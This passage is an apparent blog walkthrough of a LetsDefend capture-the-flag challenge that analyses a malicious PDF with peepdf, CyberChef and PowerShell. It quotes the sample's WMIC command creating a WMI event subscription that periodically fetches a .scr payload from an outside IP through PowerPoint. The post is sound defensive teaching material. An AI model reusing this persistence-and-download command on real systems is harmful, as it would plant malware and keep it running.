class=&#34;gallery-image&#34; data-flex-basis=&#34;526px&#34; data-flex-grow=&#34;219&#34; height=&#34;365&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/7f4938119c042423b2de7d8ff3ab59d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Peepdf output.&lt;/p&gt;&#xA;&lt;p&gt;This gives us a nice overview with a bit more detail than we saw with &lt;em&gt;pdfid,&lt;/em&gt; but we want to go even further. So, next, we&amp;rsquo;ll enter &lt;em&gt;peepdf&amp;rsquo;s&lt;/em&gt; interactive mode with the &lt;em&gt;-i&lt;/em&gt; option_._ Once we enter the interactive mode we&amp;rsquo;ll pull up the help menu and see what commands we have available to move forward.&lt;/p&gt;&#xA;&lt;p&gt;peepdf -i -f /home/remnux/Challenges/pdfAnalysis/Update.pdf&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;608px&#34; data-flex-grow=&#34;253&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/52b693a0780a5f3605829c7b7250b1cd_MD5.png&#34; width=&#34;679&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s first focus on the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;suspicious elements&amp;quot;&#xA;flagged by the tool. Remember the three &lt;em&gt;Open Actions&lt;/em&gt; we noted after running &lt;em&gt;pdfid&lt;/em&gt;? Let&amp;rsquo;s try to analyze these objects more closely. After running &lt;em&gt;peepdf&lt;/em&gt; we see under /&lt;em&gt;OpenAction&lt;/em&gt; that there are three objects: &lt;strong&gt;19&lt;/strong&gt;, &lt;strong&gt;26&lt;/strong&gt;, &amp;amp; &lt;strong&gt;17&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go down the line and use the &lt;em&gt;object&lt;/em&gt; command to show the decoded content — we&amp;rsquo;ll start with object &lt;strong&gt;19&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/79de137cb793f4dcf2a2f66d60101a2c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is very interesting! This object contains a Base 64 encoded &lt;em&gt;PowerShell&lt;/em&gt; command. Let&amp;rsquo;s jump into &lt;em&gt;CyberChef&lt;/em&gt; which is also built-in to &lt;em&gt;REMnux.&lt;/em&gt; Maybe we can build a recipe that we can use to decode this script? Since we know the command is Base 64 encoded, let&amp;rsquo;s start there and apply a reverse operation and to get something readable:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;418px&#34; data-flex-grow=&#34;174&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/3df23f8d02cd87153763799a29c687b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! We successfully extracted and decoded the malicious &lt;em&gt;PowerShell&lt;/em&gt; command with &lt;em&gt;CyberChef&lt;/em&gt;. With that, we can answer &lt;strong&gt;Questions 1, 2, &amp;amp; 3!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/da7db2151a4a17a6dcb61999ec738639_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/b76d6e5e54f469f6976c5519f578ddd4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/f8276f5fc08d0e6e4d3ef0d124a33c85_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-4-56&#34;&gt;Questions 4, 5, 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;which-external-web-domain-would-the-malware-have-attempted-to-interactwith&#34;&gt;Which external web domain would the malware have attempted to interact with?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;which-http-method-would-it-have-used-to-interact-with-thisservice&#34;&gt;Which HTTP method would it have used to interact with this service?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-name-of-the-obfuscation-used-for-the-javascript-payload&#34;&gt;What is the name of the obfuscation used for the Javascript payload?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s continue looking at the other /&lt;em&gt;OpenAction&lt;/em&gt; objects and try to understand what they are doing. This time, we&amp;rsquo;ll focus on &lt;strong&gt;17&lt;/strong&gt; — don&amp;rsquo;t worry we will circle back to &lt;strong&gt;26&lt;/strong&gt; later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1067px&#34; data-flex-grow=&#34;444&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/575d3bdd9163f7bd24b067a0f2f77876_MD5.png&#34; width=&#34;476&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This looks like it is pointing to something else at &lt;strong&gt;33&lt;/strong&gt;, maybe a stream within the object? Fortunately, &lt;em&gt;peepdf&lt;/em&gt; also has a &lt;em&gt;stream&lt;/em&gt; command we can use to show the decoded stream content.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/73ad83b6bbf4ecc89e6e5baac6b5b9b5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running it, we get the above output. This looks like obfuscated &lt;em&gt;JavaScript&lt;/em&gt;, right? We also see some readable strings referring to HTTP requests, specifically POST, and references to JSON. We are probably looking in the right place, since these are methods for transporting data from a client to a server.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus on the &lt;code&gt;_eval()_&lt;/code&gt; function_._ Here is some information from &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mozilla&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The &lt;code&gt;eval()&lt;/code&gt; function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Warning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;That sounds risky — it seems like this is an obfuscated payload where the &lt;code&gt;_eval()_&lt;/code&gt; function reads and then executes the string.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s pivot and refer back to the &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/statically&amp;#43;analyze&amp;#43;code/scripts#js-beautifier&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;REMnux documentation&lt;/a&gt; to see if we can find a useful method to analyze scripts. Fortunately, there are a few tools listed, including &lt;strong&gt;JS Beautifier&lt;/strong&gt; which can be used to &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Reformat JavaScript scripts for easier analysis.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;While we can use the &lt;a class=&#34;link&#34; href=&#34;https://beautifier.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;online version&lt;/a&gt; — let&amp;rsquo;s stay in &lt;em&gt;REMnux&lt;/em&gt; and use the built-in utilities for fun. We&amp;rsquo;ll export the stream into a text file, feed it to JS-Beautify, and see if the tool deobfuscates the code in the output for further analysis&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8000px&#34; data-flex-grow=&#34;3333&#34; height=&#34;36&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/1ebf8ca3b62518272d7d2b3590e5bc9a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/1ebf8ca3b62518272d7d2b3590e5bc9a_MD5_hu_ab51d9ce0317107c.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/1ebf8ca3b62518272d7d2b3590e5bc9a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;695px&#34; data-flex-grow=&#34;289&#34; height=&#34;203&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/b7c128bb37e51a2e1a78039bcf70d6f8_MD5.png&#34; width=&#34;588&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! This looks like the information we need to answer &lt;strong&gt;Questions 4, 5, &amp;amp; 6!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;363px&#34; data-flex-grow=&#34;151&#34; height=&#34;528&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/082cb412f4a4e68ba04222a7f1a72273_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8-9-10-11&#34;&gt;Questions 7, 8, 9, 10, &amp;amp; 11:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;which-tool-would-have-been-used-for-creating-the-persistence-mechanism&#34;&gt;Which tool would have been used for creating the persistence mechanism?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;how-often-would-the-persistence-be-executed-once-windows-starts-format-xxhours&#34;&gt;How often would the persistence be executed once Windows starts? (format: X.X hours)?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;which-lolbin-would-have-been-used-in-the-persistence-method&#34;&gt;Which LOLBin would have been used in the persistence method?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-filename-that-would-have-been-downloaded-and-executed-using-thelolbin&#34;&gt;What is the filename that would have been downloaded and executed using the LOLbin?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;where-would-this-have-been-downloaded-from-format-ipaddress&#34;&gt;Where would this have been downloaded from? (format: IP address)&#xA;&lt;/h4&gt;&lt;p&gt;So let&amp;rsquo;s recap quickly. We have been doing deep dives into the /&lt;em&gt;OpenAction&lt;/em&gt; we uncovered with &lt;em&gt;peepdf&lt;/em&gt; and have already analyzed objects &lt;strong&gt;17&lt;/strong&gt; &amp;amp; &lt;strong&gt;19&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s return to our interactive &lt;em&gt;peepdf&lt;/em&gt; console and check out the last of the /&lt;em&gt;OpenActions&lt;/em&gt;&lt;strong&gt;&lt;em&gt;,&lt;/em&gt;&lt;/strong&gt; object &lt;strong&gt;&lt;em&gt;26.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/acbf2c11287b5ce8517789e152b2db6b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Surprise, surprise — more obfuscated code. It seems like this will attempt to execute some arbitrary code with &lt;em&gt;PowerShell.&lt;/em&gt; Maybe we can do some dynamic analysis and actually run the code in &lt;em&gt;PowerShell&lt;/em&gt; to understand what it does?&lt;/p&gt;&#xA;&lt;p&gt;First, we will export the code into a &lt;em&gt;PowerShell&lt;/em&gt; (.ps1) script file. After reviewing the &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/general&amp;#43;utilities#powershell-core&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;REMnux docs&lt;/a&gt; again, it looks like we have &lt;em&gt;PowerShell&lt;/em&gt; core built in. This is perfect, we should be able to execute our script and have it print the output rather than execute the malicious code.&lt;/p&gt;&#xA;&lt;p&gt;Even though we are performing our analysis in a sandboxed environment without network access, we will change the &lt;code&gt;Invoke-Expression $LoadCode&lt;/code&gt;to &lt;code&gt;Write-Output $LoadCode&lt;/code&gt;so we aren&amp;rsquo;t executing the malicious code but writing the output to the console instead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3891px&#34; data-flex-grow=&#34;1621&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/a8d29be426ce07985d62078bcb19fc88_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/a8d29be426ce07985d62078bcb19fc88_MD5_hu_82ee7f596c77fe14.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/a8d29be426ce07985d62078bcb19fc88_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Setting the .ps1 script to write output to the console.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4881px&#34; data-flex-grow=&#34;2033&#34; height=&#34;59&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/ab4cb57ff35785c75a3a3eb9f0430146_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/ab4cb57ff35785c75a3a3eb9f0430146_MD5_hu_e31287183ba54916.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/ab4cb57ff35785c75a3a3eb9f0430146_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Badscript.ps1 PowerShell with Write-Output.&lt;/p&gt;&#xA;&lt;p&gt;Excellent — this output should provide us with enough information to answer the remaining questions for this challenge.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 7,&lt;/strong&gt; it looks like the script is abusing &lt;em&gt;WMIC&lt;/em&gt; to create a persistence mechanism. For context, &lt;em&gt;WMIC is&lt;/em&gt; an older command line tool used for interacting with &lt;em&gt;Windows Management Instrumentation&lt;/em&gt; (WMI) which can be used to control and query &lt;em&gt;Windows.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; this sub-technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1546.003&lt;/a&gt;) can be abused for persistence:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus on some specifics in the output for the context of our investigation:&lt;/p&gt;&#xA;&lt;p&gt;**Query=&amp;quot;&#xA;SELECT * FROM __InstanceModificationEvent WITHIN 9000 WHERE TargetInstance ISA €˜Win32_PerfFormattedData_PerfOS_System&amp;rsquo;&amp;quot;&#xA;**&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;wmic /NAMESPACE:&amp;quot;&#xA;\root\subscription&amp;quot;&#xA;PATH CommandLineEventConsumer CREATE Name=&amp;quot;&#xA;RHWsZbGvlj&amp;quot;&#xA;, ExecutablePath=&amp;quot;&#xA;C:\Program Files\Microsoft Office\root\Office16\Powerpnt.exe €˜hxxp://60.187.184.54/wallpaper482.scr&amp;rsquo;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, I&amp;rsquo;m going to stumble through an oversimplification here — It seems that the &lt;em&gt;WMIC&lt;/em&gt; command is used to create an event subscription where every 9000 seconds (or 2.5 hours) the command line event consumer &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;RHWsZbGv1j&amp;quot;&#xA;is triggered. This consumer launches the legitimate process, &lt;strong&gt;Powerpnt.exe&lt;/strong&gt;. with the command line argument &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr&amp;quot;&#xA;** to open the &lt;strong&gt;wallpaper482.scr&lt;/strong&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Whew! Okay, now acouple of things to note here for our questions:&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;em&gt;PowerPoint&lt;/em&gt; (&lt;strong&gt;Powerpnt.exe)&lt;/strong&gt; is a legitimate binary included with &lt;em&gt;Microsoft Office&lt;/em&gt;, this is an example of the malicious file abusing a legitimate command for bad activity. This technique is an example of using a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;living off the land binary&amp;quot;&#xA;or LOLbin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;hxxp://60[.]187[.]184[.]54/wallpaper482[.]scr&lt;/strong&gt; is a defanged URL so that it can&amp;rsquo;t be accidentally clicked — safety first!&lt;/p&gt;&#xA;&lt;p&gt;Regarding the &lt;strong&gt;wallpaper482&lt;/strong&gt; file — A &lt;em&gt;.scr&lt;/em&gt; file, while normally used for Windows screen saver, is an executable file type and can contain malware. In this case, I think we can be pretty confident that it does!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;278px&#34; data-flex-grow=&#34;116&#34; height=&#34;689&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/0f6d5083d73b9b3c348fdb1f3c9d4171_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-which-country-is-this-ip-address-locatedin&#34;&gt;Question 12: Which country is this IP Address located in?&#xA;&lt;/h3&gt;&lt;p&gt;Finally, we are at the last question! Now that we have the IP address where the persistence payload is retrieved, we can see what kind of geolocation intelligence we can gather about this IP address. We&amp;rsquo;ll check a couple of geolocation databases as the location data can vary depending on the method the database provider used to determine the geolocation.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start as usual with &lt;em&gt;VirusTotal&lt;/em&gt; where we can see tentatively that the IP address is located in China.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/61368e0b57ce71af2815aa84d4da241c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To double-verify, we will also check the IP address using &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ipinfo.io&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;544px&#34; data-flex-grow=&#34;227&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/677039eb1185151f5061fc6eef020ab2_MD5.png&#34; width=&#34;529&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Geolocation data from &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, double-confirmed! I think we can submit our answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/3980bad5cf5950e8cf61f9edf2fc7153_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;We made it! Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for hosting another awesome challenge. This was a really fun one with so much practical application that can be taken back into the field including the opportunity to try out &lt;em&gt;REMnux&lt;/em&gt; and perform analysis on a malicious PDF file with some awesome tools like &lt;em&gt;pdfid&lt;/em&gt;, &lt;em&gt;pdf-parser&lt;/em&gt;, and &lt;em&gt;peepdf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and learning with me! I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;LetsDefend PDF Analysis Challenge:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdf-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdf-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMNux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Adobe Open Actions Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Analyzing Malicious Documents Cheat Sheet:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pdf-parser.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pdfid.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;peepdf:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript eval function:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mozilla Developer Network:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JS Beautifier:&lt;/strong&gt; &lt;a class=&#34;link&#34; 